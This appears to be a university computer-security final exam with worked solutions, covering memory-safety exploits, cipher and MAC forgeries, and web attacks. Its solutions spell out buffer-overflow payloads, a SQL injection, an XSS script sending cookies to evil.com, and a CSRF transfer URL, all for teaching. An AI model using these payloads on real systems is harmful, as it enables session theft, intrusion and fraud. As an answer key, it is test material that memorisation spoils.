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Print your name: ,
(last) (first)

Print your student ID:

There are 11 questions of varying credit (200 points total).

Question: 1 2 3 4 5 6 7 8 9 10 11 Total
Points: 2 36 21 15 24 19 30 17 14 22 0 200

For questions with circular bubbles, you may select only one choice.
Unselected option (completely unfilled)
Only one selected option (completely filled)

For questions with square checkboxes, you may select one or more choices.
You can select
multiple squares (completely filled)

Pre-exam activity (for fun, not graded):
Karaoke time! What are your favorite lyrics?

Q1 Honor Code (2 points)

Read the following honor code and sign
your name.

I understand that I may not collaborate
with anyone else on this exam, or cheat
in any way. I am aware of the Berkeley
Campus Code of Student Conduct and ac-
knowledge that academic misconduct will
be reported to the Center for Student Con-
duct and may further result in, at mini-
mum, negative points on the exam.

Sign your name:
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Q2 True/False (36 points)
Each true/false is worth 2 points.

Q2.1 When writing the final exam for CS 161, EvanBot decides to share the document with CodaBot,
even though CodaBot isn’t involved in writing the exam.

True or False: EvanBot is violating the "least privilege" security principle.

True False

Solution: True, those who aren’t involved in writing exams don’t need access to the exam
document, so this is a good example of the Least Privilege principle.

Q2.2 True or False: Message Authentication Codes are a good example of the "Detect if you can’t
prevent" security principle.

True False

Solution: True, in situations where we cannot stop an attacker from modifying things, MACs
let us detect the tampering.

For the next two subparts: Consider a system where ASLR is enabled. You open GDB and find that the
address of the RIP of the foo stack frame is 0xffff3820.

Q2.3 True or False: It’s possible that the address of the SFP of the same stack frame foo is 0xffff3824
on the same run of the program.

True False

Solution: False. Within one run of the program, the relative locations of items on the stack
stay the same, so the RIP will always be 4 bytes above the SFP.

Q2.4 True or False: It’s possible that the address of the SFP of the same stack frame foo is 0xffff3824
on a different run of the program.

True False

Solution: True. On a different run of the program, all the addresses will be shuffled, so it’s
possible that the RIP moves to 0xffff3828 and the SFP moves to 0xffff3824.
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Q2.5 True or False: Having stack canaries start with a null terminator helps prevent functions like
printf from reading the canary on the stack, but reduces the number of bruteforce attempts
required to guess the canary value.

True False

Solution: True. Consider the function printf("%s", buf) where buf is on the stack and
controlled by the attacker. If the attacker is able to remove all null terminators from buf, then
this statement would start printing out values above buf on the stack, until it finds a null
terminator. Having a null terminator in the canary guarantees that this print will stop when it
reaches the canary, and won’t print arbitrarily far into other stack frames.

However, a trade-off to protecting against these attacks is that the attacker now only needs to
brute force 3 bytes instead of 4, since they always know that the first byte of the canary is a
null byte.

Q2.6 Second-preimage resistance is a property of a cryptographic hash function H : GivenH(a), it is
computationally hard to find b ̸= a such that H(a) = H(b).

True or False: All second-preimage resistant hash functions are also collision resistant.

True False

Solution: False, collision resistance implies second-preimage resistance, but not the other
way around. This is because the ability to find some pair a, b such thatH(a) = H(b) does not
mean you have the ability to find a collision for an arbitrary specified a,H(a).

Q2.7 True or False: Symmetric key encryption is generally slower than public-key encryption.

True False

Solution: False, symmetric key encryption is significantly faster than public key encryption
as it comprised of bit operations such as XORs and bitshifts. Symmetric key encryption (mostly
AES) is also an optimized operation in most modern CPUs.

Public-key encryption uses expensive operations over very large key sizes (for example,
modular arithmetic over 2048-bit RSA keys).
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Q2.8 True or False: The security of a PRNG is limited by the entropy of its initial seed, assuming the
PRNG is never reseeded.

True False

Solution: True. Once you know the initial seed, the PRNG is deterministic and all security is
lost. (Recall that security in a PRNG refers to the unpredictability of future PRNG outputs.)

Q2.9 True or False: Servers often hash passwords using slow hash functions in order to stop brute
force attacks.

True False

Solution: True, see hash functions like Argon2Key in Project 2. A slower hash function will
add minimal latency to a legitimate user logging in (as they only need to run the hash once)
but will add significantly more time to an attacker trying to brute force many passwords since
they need to run the hash function many, many times.

Q2.10 True or False: A cookie set with Domain=boogle.com will be sent to auth.boogle.com.

Clarification during exam: Change the word "will" to "can".

True False

Solution: True. This is just a direct application of cookie policy. A cookie gets sent if the
location it’s being sent to, here auth.boogle.com, is more specific (i.e. a subdomain of) the
cookie’s domain attribute, here boogle.com.

Q2.11 True or False: Implementing a secure escaping policy to prevent XSS is easier than using parame-
terized SQL.

True False

Solution: False. Secure escaping policies are tricky to write; as seen in lecture, there can be
many ways to evade escapers. However, using parameterized SQL is easy because there are
already pre-written libraries that you can use. (This is a general theme in security; instead of
writing your own secure software, often it’s easier to plug into a pre-written secure library
that someone else has written.)
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Q2.12 True or False: Clickjacking attacks are only possible if a user is logged in and has a session token
cookie.

True False

Solution: False. Consider a clickjacking attack where we trick a user (who is not logged into
any website) into visiting the attacker’s website, causing some malicious Javascript to run in
the user’s browser.

In general, clickjacking attacks only require the attacker to trick the user into clicking some-
thing unintended (and therefore triggering some unintended action). The definition of click-
jacking does not require a user to be logged in when that unintended action is made.

Q2.13 True or False: Accepting only the first ARP response for each ARP request is a good way to
defend against ARP spoofing attacks.

True False

Solution: False. Accepting the first ARP response would not provide protection if the at-
tacker’s response is the one that arrives first.

Q2.14 True or False: An on-path attacker who knows the WiFi password can always eavesdrop on new
WPA2 connections.

True False

Solution: True, as the WPA2 handshake reveals all the information needed to reconstruct
the PTK if one knows the PSK. Recall that with the WiFi password, an attacker can derive the
PSK offline. Then, in a new connection, the attacker can observe the random noncse being
sent, and using the PSK and nonces, the attacker can derive the PTK (which will then be used
to encrypt messages on that new connection).

Q2.15 True or False: WPA2-Enterprise involves connecting to a third-party authentication server,
separate from the Access Point.

True False

Solution: True, by definition.
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Q2.16 True or False: In networking, "best effort" means that we make the best effort possible to ensure
the packet has reached its destination, often by using SEQ/ACK numbers.

True False

Solution: False. Sequence and ACK numbers are a property of TCP that guarantee that
messages are delivered. Best-effort refers to packets that may or may not reach their destination
(e.g. they could be corrupted or dropped), so it does not apply to TCP (where messages are
guaranteed to arrive).

Q2.17 True or False: A firewall that blocks all inbound packets will prevent against all network attacks.

True False

Solution: False. Someone inside the network could still execute an attack.

Q2.18 EvanBot’s computer has been infected with a new virus that has not been seen before.

True or False: Behavioral detection can be used to detect the presence of this virus.

True False

Solution: True. By only checking the behavior of the virus, we might be able to catch the
virus even if we don’t know its structure.

Q2.19 (0 points) True or False: EvanBot is a real bot.

True False

Solution: True. The proof doesn't fit in this margin tho.
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Q3 Memory Safety: No Doubt (21 points)
Consider the following code:

1 void t o _ i t ( char ∗ buf ) {
2 f g e t s (& buf , 3 0 , s t d i n ) ;
3 f g e t s ( buf , 3 0 , s t d i n ) ;
4 return ;
5 }
6 in t main ( ) {
7 char a r r [ 6 0 ] ;
8 g e t s ( a r r ) ;
9 / ∗ p r i n t f ( " Coo l c o o l c o o l : %x " ) ; ∗ /
10 t o _ i t ( a r r ) ;
11 return 0 ;
12 }

Assumptions:

• You may use SHELLCODE as a 40-byte shellcode.
• The RIP of to_it is located at 0xffffde20.
• Stack canaries are enabled, but all other memory safety defenses are disabled.

Q3.1 (4 points) Which values can an attacker overwrite (or partially overwrite) using the fgets on
Line 2? Select all that apply.

Clarification during exam: The option that says arr[60] should say arr.

buf

arr[60]

RIP of to_it

SFP of to_it

None of the above

Solution:

Stack diagram:

0xffffde6c RIP of main
0xffffde68 SFP of main
0xffffde64 canary
0xffffde28 arr[60]

0xffffde24 buf

0xffffde20 RIP of to_it

0xffffde1c SFP of to_it

0xffffde18 canary

The fgets at Line 2 starts writing at buf (the argument to to_it) and writes 30 bytes into
memory. This allows the attacker to overwrite buf and the first 26 bytes of arr.

Final - Page 7 of 38



Provide inputs to execute shellcode.

Q3.2 (4 points) Input to gets on Line 8:

Solution:

'A' + SHELLCODE + '\n'

Line 8 is the only input large enough to fit shellcode. The inputs at Line 2 and Line 3 can only
write 29 bytes into memory, and shellcode is 40 bytes long.

Although this input uses a gets call (which in theory would allow us to write as many bytes
as we want into memory), writing past the end of arr won’t help since it will clobber out the
canary right above it. It turns out that this input is really only necessary for placing shellcode
into memory, and the next two inputs on Lines 2 and 3 will be enough to redirect program
execution to this shellcode.

One extra thing we have to consider here is that the fgets call on Line 2 write to buf, which
is a 4-byte pointer located directly below arr. When we use fgets to write 4 bytes into buf,
the fgets call will append a null byte after the 4 bytes we write, which will clobber out the
first byte in arr. This means that if we place shellcode directly at the start of arr, the first
byte of shellcode will get replaced by a null byte.

To avoid this issue, we need to place shellcode higher up in arr by adding some garbage
padding bytes before shellcode. The sample solution places just a single garbage byte 'A'
before shellcode (where the single byte will get clobbered out with the null byte from Line 2’s
fgets call), though you could have also placed up to 20 garbage bytes before shellcode, since
the array fits 60 bytes and shellcode is 40 bytes.

Partial credit was awarded if you didn’t realize the fgets issue and simply wrote shellcode in
this input (with no padding).

Q3.3 (4 points) Input to fgets on Line 2:

Solution:

\x20\xde\xff\xff + '\n'

This causes buf on the stack to point to the RIP of to_it. Then, the fgets at Line 3 will
dereference buf on the stack (whose value we just overwrote with the RIP of to_it), and
start writing to the RIP of to_it.

Alternate answer: address of RIP of main, which is 76 bytes above the RIP of to_it =
\x6c\xdf\xff\xff
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Q3.4 (4 points) Input to fgets on Line 3:

Solution:

\x29\xde\xff\xff + '\n'

Continuing on from the previous subpart: at this point, this fgets call is directly writing to
the RIP of to_it.

At the RIP of to_it, we want to write the address of shellcode. Since we put the shellcode
one byte after the start of arr (because of the fgets null terminator issue discussed above),
the address of shellcode we need is the address of arr plus one. This is 9 bytes above the RIP
of to_it, which is 0xffffde29.

If you missed the fgets null terminator issue, credit was awarded as long as your input here
contained the address of shellcode (e.g. 0xffffde28 if you put the shellcode at the very start
of arr).
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Q3.5 (5 points) Now, assume that ASLR is enabled, but all other memory safety defenses (including
stack canaries) are disabled.

Is it possible to construct an exploit that always executes shellcode?

Yes, without uncommenting Line 9

Yes, but only if Line 9 is uncommented

No, even if Line 9 is uncommented

Briefly justify your answer. For full credit, you should explain why Line 9 does or does not help.

Solution: Short answer: Even if Line 9 is uncommented out, it only prints out a value inside
arr, and the no memory addresses can be copied into arr by the time Line 9 is executed.

Longer answer:

Line 9 contains a format string vulnerability, because it has one percent formatter, the %x, but
no argument to match up with the formatter. Therefore, when the printf function looks for
an argument on the stack to match up with %x, it’ll take the next value on the stack and treat
it like an argument. The stack diagram when printf is called looks something like this:

RIP of main
SFP of main

canary
arr[60]

&"Cool cool cool: %x"

RIP of printf

SFP of printf

canary

(Note that buf and the RIP/SFP of to_it are not on the stack diagram at this point, because
those are called after the printf returns and its stack frame is deleted.)

Using this stack diagram, we see that the nonexistent argument that should have matched up
with %x is the value on the stack directly above the zeroth (format string) argument &"Cool
cool cool: %x", which is the first 4 bytes of arr. Therefore, the first 4 bytes of arr will
match up with the %x and get printed out.

To defeat ASLR, we need some sort of address to be printed out so that we can work out
the current set of randomized addresses. However, note that this code doesn’t let you put
any memory addresses into arr by the time printf is called. The only line of code that get
executed before printf is Line 8, which takes in user input into arr (and is not helpful for
getting an address into arr to be printed).
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Q4 Memory Safety: Andor, or XOR? (15 points)
(intro text just for fun) Cassian Andor has asked you to exploit an Empire system. If you can run his
SHELLCODE, you will leak the plans for the Death Star and save the rebel alliance!

Consider the following code:

1 void ga l axy ( char ∗ c l one ) {
2 char d ro i d [ 6 4 ] ;
3 in t i = 0 ;
4 in t j = 0 ;
5 char f o r c e [ 2 4 ] ;
6 g e t s ( d r o i d ) ;
7 g e t s ( f o r c e ) ;
8 g e t s ( c l one ) ;
9
10 while ( 0 <= i && i < 24 && 0 <= j ) {
11 i f ( c l one [ i ] == 0 x54 ) {
12 c l one [ i ] = f o r c e [ i ] ^ d r o i d [ j ] ;
13 } e l se {
14 c l one [ i ] = f o r c e [ i ] ^ c l one [ i ] ;
15 }
16 i ++ ;
17 j ++ ;
18 }
19 }
20
21 in t main ( ) {
22 char r e b e l [ 1 6 ] ;
23 ga l axy ( r e b e l ) ;
24 return 0 ;
25 }

Stack at Line 5

RIP of main

SFP of main

(1)

(2)

(3)

RIP of galaxy

SFP of galaxy

(4)

droid

i

j

force

Assumptions:

• You may use SHELLCODE as a 63-byte shellcode.
• droid is located at 0xf0e13370.
• Stack canaries are enabled, but all other memory safety defenses are disabled.
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Q4.1 (3 points) What values go in the blanks in the stack diagram above?

(1) canary (2) clone (3) rebel (4) canary
(1) canary (2) rebel (3) clone (4) canary
(1) rebel (2) canary (3) canary (4) clone
(1) rebel (2) canary (3) clone (4) canary
(1) clone (2) canary (3) canary (4) rebel

Solution:

RIP of main
SFP of main

(1) canary
(2) char rebel[16]

(3) clone

RIP of galaxy
SFP of galaxy

(4) canary
char droid[64]

int i

int j

char force[24]
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Q4.2 (12 points) Provide inputs to execute shellcode.

Hint: 64 is represented in hexadecimal as \x40. 16 is represented in hexadecimal as \x10.

Fill in Box 1, or Box 2, but not both. (If you fill in both, we’ll grade the worse of your two answers.)

Box 1 (our solution uses this structure):

droid (input to gets on Line 6):

__________ + '\n'

force (input to gets on Line 7):

('\x_____' * _____ ) + '\x_____\x_____\x_____\x_____'

+ '\x_____\x_____\x_____\x_____' + '\n'

clone (input to gets on Line 8):

('A' * _____ ) + ('\x_____' * _____ )

+ ('B' * _____ ) + '\x_____\x_____\x_____\x_____' + '\n'

Box 2 (use this if you have a solution that doesn’t fit our template):

droid (input to gets on Line 6):

_________________________________________________________________

_________________________________________________________________

force (input to gets on Line 7):

_________________________________________________________________

_________________________________________________________________

clone (input to gets on Line 8):

_________________________________________________________________

_________________________________________________________________
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Solution:

Input to droid: SHELLCODE + '\n'

Input to force: ’\x00' * 24 + '\x40\x00\x00\x00' + '\x10\x00\x00' + '\n'

Input to clone: 'A' * 16 + '\x54' * 4 + 'B' * 4 + '\x70\x33\xe1\xf0' + '\n'

Note that droid is the only place where our 63-byte SHELLCODE fits. Writing 64 bytes (including
the null terminator appended by gets) starting at clone (aka rebel) would overwrite a canary,
and writing 64 bytes starting at force would overwrite i and j, which are necessary for a later
part of the exploit.

Vulnerability: We can overwrite i and j on the stack. If we set i to higher numbers, we can cause
the writes to clone[i] on Lines 12 and 14 to write out-of-bounds, above clone.

High-level idea: Line 10 restricts i to be between 0 and 24. This means that we can only write
between rebel[0] and rebel[24]. This gives us the ability to overwrite all of rebel, the canary
directly above, and the SFP of main. However, it does not give us the ability to overwrite any RIP
directly. This means that we can’t write around the canary, but we could still try to overwrite the
canary with itself.

Overwriting canary with itself: If we set i=16, this lets us write to rebel[16] through rebel[20],
which is the value directly above rebel, which is the canary of main. Line 14 would let us write
force[16] through force[20] into the canary, but this does not correspond to the canary.

However, at Line 12, droid[j] uses a different index j, which we’re also allowed to overwrite.
Therefore, we can set j such that droid[j] reads the canary value (and then rebel[i]writes that
value back. The canary is located at droid[64] through droid[67], directly above the droid
array. Therefore, if we set j to 64, we can force droid[j] to access the canary.

Note: We are copying the canary from the galaxy stack frame into the canary of the main stack
frame, but this is okay because within one run of the program, every stack frame has the same
canary value.

Finally, at Line 12, we note that droid[j] gets XORed with force[i] before being stored in
clone[i]. Since we just want the canary values from droid[j] to be written directly to clone[i],
we should set clone[i] to 0x00 bytes, since XORing a byte with 0 leaves it unchanged.

The 24 bytes inside force are used at Line 12 and Line 14. At Line 12, when clone is equal to
\x54, force is XOR’d with droid, and stored in clone, aka rebel. This allows us to use the zero
bytes in force to be XOR’d with the 4 canary bytes in droid (the canary of galaxy), and stored
at the canary of main, allowing us to overwrite the canary with itself, preserving its value before
the main function returns and checks the value of the canary. At Line 14, force is XOR’d with
clone, and stored in clone. This line doesn’t help our exploit, so placing garbage bytes at the
corresponding clone bytes is fine.

For the first 16 bytes of clone, we have garbage in order to arbitrarily fill the 16 byte rebel buffer.
We follow this with the 4 bytes of \x54. This will cause Line 12 to run instead of Line 14, which
copies the main canary value into the galaxy canary. The next 4 garbage bytes overwrite the SFP
with garbage. The next 4 bytes are the address of SHELLCODE, stored in droid. These are i=24
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through i=28, which means this address is not passed through XOR logic and is simply placed in
the RIP of main.

Note: we use one less 0 byte in the j integer, since it is already initialized to 0, and writing a full
24 bytes would cause the null terminator appended by gets() to overwrite the first byte of our
SHELLCODE. We gave full credit for solutions that do this, since our template was not clear.

Alternate answer:

droid and clone are unmodified.

force is replaced with: '\x00' * 24 + '\x30\x00\x00\x00' + '\n'

Or, force could be '\x00' * 24 + '\x31\x00\x00\x00' + '\x01\x00\x00\x00' + '\n'

Or, 0x31 and 0x01 could be replaced with 0x32 and 0x02, or 0x33 and 0x03, etc., all the way up
to 0x40 and 0x10. As long as the two numbers are exactly 48 (0x30) apart and the first number is
between 0x30 and 0x40, it would be a correct alternate answer that fits in this same pattern.

Instead of overwriting j with 64, this group of answers overwrites j with some lower number
between 48 and 63. Then, instead of overwriting i with 16, this group of answers overwrites i
with j-48. Depending on what i is set to, this causes 1 to 15 extra iterations of the while loop to
run, but these extra iterations write to parts of memory that are irrelevant (they’re not the canary,
or the RIP, or shellcode).

If correctly implemented, this alternate answer is fully correct.
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Q5 Cryptography: EvanBlock Cipher (24 points)
EvanBot invents a new block cipher chaining mode called the EBC (EvanBlock Cipher). The encryption
diagram is shown below:

AES Encryption AES Encryption AES EncryptionK K K

IV

P1 P2 P3

C1 C2 C3

Q5.1 (2 points) Write the encryption formula for Ci, where i > 1. You can use EK and DK to denote
AES encryption and decryption respectively.

Solution: C1 = EK(P1 ⊕ IV )
Ci = EK(Pi ⊕ Pi−1 ⊕ Ci−1)

Q5.2 (2 points) Write the decryption formula for Pi, where i > 1. You can use EK and DK to denote
AES encryption and decryption respectively.

Solution: P1 = DK(C1)⊕ IV
Pi = DK(Ci)⊕ Pi−1 ⊕ Ci−1
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Q5.3 (4 points) Select all true statements about this scheme.

It is IND-CPA secure if we use a random IV for every encryption.

It is IND-CPA secure if we use a hard-coded, constant IV for every encryption.

Encryption can be parallelized.

Decryption can be parallelized.

None of the above

Solution: This scheme actually exists in real life; it’s called AES-PCBC, where PCBC stands
for Propagating Cipher Block Chaining Mode. (The CBC here is the same as the CBC in
AES-CBC.)

AES-PCBC is IND-CPA secure with random IVs. Intuitively, notice that AES-PCBC looks quite
similar to AES-CBC, except we are sending both the ciphertext and plaintext into the next
block cipher encryption, instead of just the ciphertext.

If we use the same IV for every encryption, AES-PCBC is deterministic, so it’s not IND-CPA
secure.

Encryption cannot be parallelized because you have to wait for the current block’s ciphertext
to be computed (which requires the current block cipher encryption to run) before you can
pass the current block’s ciphertext into the next block cipher encryption.

Decryption cannot be parallelized because you have to wait for the current block’s plaintext
to be computed (which requires the current block cipher decryption to run) before you can
pass the current block’s plaintext into the XOR that computes the next block’s plaintext.
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Q5.4 (4 points) Alice has a 4-block message (P1, P2, P3, P4). She encrypts this message with the scheme
and obtains the ciphertext C = (IV, C1, C2, C3, C4).

Mallory tampers with this ciphertext by changing the IV to 0. Bob receives the modified ciphertext
C ′ = (0, C1, C2, C3, C4).

What message will Bob compute when he decrypts the modified ciphertext C ′?

X represents some unpredictable “garbage” output of the AES block cipher.

(P1, P2, P3, P4)

(X,P2, X, P4)

(X,X,P3, P4)

(X,P2, P3, P4)

(X,X,X,X)

None of the above

Solution: Modifying any ciphertext block in AES-PCBC will cause itself and all future plain-
text blocks to become garbage (hence the "propagate").
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Alice has a 3-block message (P1, P2, P3). She encrypts this message with the scheme and obtains the
ciphertext C = (IV, C1, C2, C3).

Mallory tampers with this ciphertext by swapping two blocks of ciphertext. Bob receives the modified
ciphertext C ′ = (IV, C2, C1, C3).

When Bob decrypts the modified ciphertext C ′, he obtains some modified plaintext P ′ = (P ′
1, P

′
2, P

′
3).

In the next three subparts, write expressions for P ′
1, P ′

2, and P ′
3.

Q5.5 (4 points) P ′
1 is equal to these values, XORed together. Select as many options as you need.

For example, if you think P ′
1 = P1 ⊕ C2, then bubble in P1 and C2.

P1 P2 P3 IV C1 C2 C3

Solution:
We denote the "original" ciphertext blocks by Ci and the modified ciphertext blocks by C ′

i. For
example, C ′

1 = C2 in our given scheme. This is likewise the case for plaintext blocks.

We have C1 = EK(P1 ⊕ IV ) and C2 = EK(P2 ⊕ C1 ⊕ P1) from the encryption/decryption
formulas.

After swapping, when we decrypt P1, we plug in C2’s value for C ′
1:

P ′
1 = DK(C ′

1)⊕ IV

P ′
1 = DK(C2)⊕ IV

P ′
1 = DK(EK(P2 ⊕ C1 ⊕ P1))⊕ IV

P ′
1 = P2 ⊕ C1 ⊕ P1 ⊕ IV
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Q5.6 (4 points) P ′
2 is equal to these values, XORed together. Select as many options as you need.

P1 P2 P3 IV C1 C2 C3

Solution:

We have C1 = EK(P1 ⊕ IV ) and C2 = EK(P2 ⊕ C1 ⊕ P1).

We know from the previous subpart that P ′
1 = P2 ⊕ C1 ⊕ P1 ⊕ IV . Key to this problem is

that the decryption formulas will use the "new" values P ′, C ′ for all values since that’s what
Bob receives/decrypts.

After swapping, when we decrypt P2, we plug in C1’s value:

P ′
2 = DK(C ′

2)⊕ P ′
1 ⊕ C ′

1

P ′
2 = DK(C1)⊕ P ′

1 ⊕ C ′
1

P ′
2 = DK(EK(P1 ⊕ IV ))⊕ P ′

1 ⊕ C ′
1

P ′
2 = (P1 ⊕ IV )⊕ P ′

1 ⊕ C ′
1

P ′
2 = (P1 ⊕ IV )⊕ (P2 ⊕ C1 ⊕ P1 ⊕ IV )⊕ C2

P ′
2 = P2 ⊕ C1 ⊕ C2
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Q5.7 (4 points) P ′
3 is equal to these values, XORed together. Select as many options as you need.

P1 P2 P3 IV C1 C2 C3

Solution:

We know P ′
2 = P2 ⊕ C1 ⊕ C2 from the previous subpart and C3 = EK(P3 ⊕ P2 ⊕ C2).

Plug in decryption formula for P3:

P ′
3 = DK(C ′

3)⊕ P ′
2 ⊕ C ′

2

P ′
3 = DK(C3)⊕ P ′

2 ⊕ C ′
2

P ′
3 = DK(EK(P3 ⊕ P2 ⊕ C2))⊕ P ′

2 ⊕ C ′
2

P ′
3 = (P3 ⊕ P2 ⊕ C2)⊕ (P2 ⊕ C1 ⊕ C2)⊕ C1

P ′
3 = P3

This turns out to be a unintended side effect of PCBC (and not a very good one).

Final - Page 21 of 38



Q6 Cryptography: Lights, Camera, MACtion (19 points)
Alice and Bob design a new MAC algorithm using the AES block cipher:

MAC(K, IV,M) = EK(Mn ⊕ EK(. . .M2 ⊕ EK(M1 ⊕ IV )))

$(6�(QFU\SWLRQ $(6�(QFU\SWLRQ $(6�(QFU\SWLRQ

0$&�RXWSXW

0� 0� 0Q

,9

. . .«

Clarification during exam: Assume that the IV used to compute the tag is sent along with the tag.

Q6.1 (3 points) Alice has a one-block messageM1. She chooses a random IV and computes:
t = MAC(K, IV,M1).

Mallory wants to change the message toM ′
1, without changing the MAC value. To do this, Mallory

needs to choose an IV ′ such thatMAC(K, IV ′,M ′
1) = t.

What value of IV ′ should Mallory choose?

IV ′ = IV ⊕M1

IV ′ = IV ⊕M1 ⊕M ′
1

IV ′ = IV ⊕M ′
1

IV ′ = 0

Solution: If we are allowed to change the IV, we can keep the input to the first EK the same
while changing the N . Since the original EK input was IV ⊕M1, we can set the new IV to
IV ⊕M1 ⊕M ′

1 and M1 to M ′
1, such that IV ′ ⊕M ′

1 = IV ⊕M1. Therefore t remains the
same.
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Q6.2 (3 points) Alice now has a 6-block messageM = (M1,M2, . . . ,M6). Alice chooses a random IV
and computes a MAC on this message.

Mallory again wants to change the message without changing the MAC value. Which block(s) of
the message can Mallory change? Select all that apply.

M1

M2

M3

M4

M5

M6

None of the above

Solution: We can only counteract the changes toM1 by changing the IV. We can’t change
the others because any slight input change to any EK will unpredictably change the output,
and therefore change everything past that EK .

For the rest of the question, Alice and Bob always set IV = 0 when computing/verifying MACs.

Alice has a 2-block messageM = (M1,M2) and a 3-block messageM ′ = (M ′
1,M

′
2,M

′
3). She computes

a MAC t on M , and a MAC t′ onM ′.

Q6.3 (5 points) Mallory sees both messages and their MACs. Construct a valid message/tag pair such
that the message is not exactly equal to eitherM orM ′.

Your expressions can includeM1,M2,M
′
1,M

′
2,M

′
3, t, t

′.

Clarification during exam: Your expressions may include mathematical operators, such as XOR.

Message:

Solution: (M1,M2,M
′
1 ⊕ t,M ′

2,M
′
3) with tag t′.

At the end of the first two blocks, we have EK(M2 ⊕ EK(M1 ⊕ IV )) = t. This will then get
XOR-ed intoM ′

1 ⊕ t, which cancels out to leaveM ′
1. So the rest of the MAC is computed as

EK(M ′
3 ⊕ EK(M ′

2 ⊕ EK(M ′
1 ⊕ t⊕ t))) = t′.

Alternatively, we can flip the messages and get (M ′
1,M

′
2,M

′
3,M1 ⊕ t′,M2) with tag t.

Tag:

Solution: t′ or t respectively (see above solution).
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To fix the vulnerability from the previous subpart, Alice appends a block to the end of the message
equal to the length of the message (in blocks). For example, for the message (M1,M2), Alice would
compute the MAC of (M1,M2, 2).

Q6.4 (8 points) Is this scheme secure?

Yes No

If you selected "Yes", explain how this prevents the attack from the previous subpart.

If you selected "No", demonstrate another attack, like in the previous part, by providing a valid
message/tag combination for some new message. In your attack, you can query for the MACs of
messages (that are not the final message you forge a tag for).

Solution: Note that Bob also appends the (received) message length, for example, if he receives
(M1,M2,M3, 2) he computes a MAC on (M1,M2,M3, 3). The length block at the end the
received message is NOT used for the MAC calculation, but rather the actual length of the
received message. Therefore, we can’t just modify the "length block" as Bob will not use that
when recomputing the MAC himself.

Alternatively, Bob will just check that the last block actually equals the number of blocks
before it, since Bob (and Mallory) will always know the scheme Alice uses via Shannon’s
Maxim.

This prevents the previous subpart’s attack, since t′ is computed with length = 3, whereas the
new message (M1,M2,M

′
1 ⊕ t,M ′

2,M
′
3) has length 5. Verifying (M1,M2,M

′
1 ⊕ t,M ′

2,M
′
3)

will MAC (M1,M2,M
′
1 ⊕ t,M ′

2,M
′
3, 5) ̸= t′.

This scheme is still not secure, however, due to a more complicated attack.

Step 1: Request the MAC for arbitrary 1-block messages a, b and receive tags ta, tb.

Step 2: Request the MAC for (a, 1, c), denoted ta1c.

Step 3: Return message (b, 1, ta ⊕ tb ⊕ c) with the tag ta1c.

To see this, we can walk through the MAC process:

MAC(b, 1, ta ⊕ tb ⊕ c) = EK(3⊕ EK(ta ⊕ tb ⊕ c⊕ EK(1⊕ EK(b))))

MAC(b, 1, ta ⊕ tb ⊕ c) = EK(3⊕ EK(ta ⊕ tb ⊕ c⊕ tb))

MAC(b, 1, ta ⊕ tb ⊕ c) = EK(3⊕ EK(ta ⊕ c))

MAC(b, 1, ta ⊕ tb ⊕ c) = EK(3⊕ EK(c⊕ EK(1⊕ EK(a))

MAC(b, 1, ta ⊕ tb ⊕ c) = MAC(a, 1, c)
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Q7 Web Security: Botgram (30 points)
The website www.botgram.com lets users post and view doodles of their Bot friends. Unless otherwise
specified, Botgram does not sanitize any inputs.

Botgram stores submitted doodles in their doodles database, which has the following schema:

1 CREATE TABLE dood l e s (
2 d ood l e _u r l TEXT ,
3 submis s ion_ t imes t amp INTEGER
4 −− Ad d i t i o n a l f i e l d s no t shown .
5 ) ;

When a user submits an image URL, Botgram stores the URL with this SQL query (replacing %s with
the user-provided URL):

INSERT INTO doodles (doodle_url, submission_timestamp)
VALUES '%s', CURRENT_TIMESTAMP;

Users can visit www.botgram.com/latest to view the 100 doodles with the greatest timestamps.

To display the doodles, each URL is inserted into the HTML of the webpage as follows (replacing %s
with the URL from the database):

<img src='%s'>

Q7.1 (4 points) Eve is an attacker who wants to post a doodle with the URL evil.com/a.jpg to
Botgram. Eve wants to make this doodle stay on www.botgram.com/latest for a long time by
setting its timestamp to 999.

Provide an input for doodle_url that posts Eve’s doodle with timestamp 999.

Solution: evil.com/a.jpg', 999;--

For the rest of the question, assume that Eve’s doodles always show up on www.botgram.com/latest.

botgram.com uses session tokens for authentication. Session tokens are stored as cookies with Secure
= False, HttpOnly = False.

Eve wants any user who views her doodles to send their session token to evil.com.

Q7.2 (4 points) Eve uploads a doodle with the URL evil.com. She reasons that the img tag will send
a GET request to evil.com originating from botgram.com, which will then attach the session
token from botgram.com to the request.

Briefly explain why this attack does not work.

Solution: The browser will not attach botgram.com cookies in a request to evil.com.
(Technically if the cookie domain was general enough, it might be sent to evil.com, but note
that the two domains only have .com in common, and you can’t make a cookie with domain
value as a TLD.)
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Q7.3 (4 points) Provide an input for doodle_url that sends the session token of any user that views
the doodle to evil.com.

You may use the JavaScript function post(URL, data) which sends a POST request to the given
URL with the given data.

Solution: '><script>post("evil.com", document.cookie)</script><img src='
or something similar.

For grading purposes, the opening img tag at the end of this exploit technically isn’t necessary.
Such an exploit would produce invalid HTML but would still get the script to run.

Q7.4 (3 points) Which of the following cookie attributes would stop the attack from the previous
subpart? Select all that apply.

Secure=True, HttpOnly=False

Secure=False, HttpOnly=True

Secure=True, HttpOnly=True

None of the above

Solution: Setting HttpOnly to true stops the attack, since we cannot use JS to send the token
directly, and sending GET requests to evil.com will not attach the cookie for botgram.com.

For the rest of the question, Botgram implements an update that prevents all JavaScript from
executing on Botgram webpages.

Q7.5 (4 points) Alice is a user on Botgram. Alice performs bank transfers by making a GET request to

https://www.bank.com/transfer?amount={AMOUNT}&to={RECEIVER}

where {AMOUNT} and {RECEIVER} are values chosen by Alice.

Provide an input to doodle_url that sends $100 to the username "Eve" when Alice loads Botgram.
Assume Alice is currently logged into www.bank.com.

Solution: https://www.bank.com/transfer?amount=100&to=Eve, which gets parsed
as the image URL (and therefore gets sent a GET request).
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Q7.6 (3 points) What type of attack did Eve execute in the previous subpart?

Stored XSS Reflected XSS CSRF Clickjacking

Solution: Eve is tricking Alice into making a request that she didn’t intend to make. Alice’s
browser automatically attaches cookies in the request, so the request looks like it’s coming
from Alice. This is an example of a CSRF attack.

No JavaScript was involved, so this is not an XSS attack. Eve did not trick Alice into clicking a
button on the website UI, so this is not a clickjacking attack.

Q7.7 (5 points) Eve wants to force anyone who loads www.botgram.com/latest to make 500 GET
requests. What doodle_url should Eve submit to Botgram? You can describe the input in words
or provide the actual input.

Remember that www.botgram.com/latest only loads 100 images, and all JavaScript is disabled.

Solution: Eve can provide an input that injects 500 img tags, each triggering one GET request.
An example of this input may look something like:

site1.com"><img src="site2.com">...<img src="site499.com"><img
src="site500.com

